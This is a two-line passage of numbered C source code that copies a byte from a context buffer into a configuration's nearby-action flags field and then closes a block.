  739. cfg->data.nearby_action.flags = (ctx->byte_store[0] << 0x00);
  740. }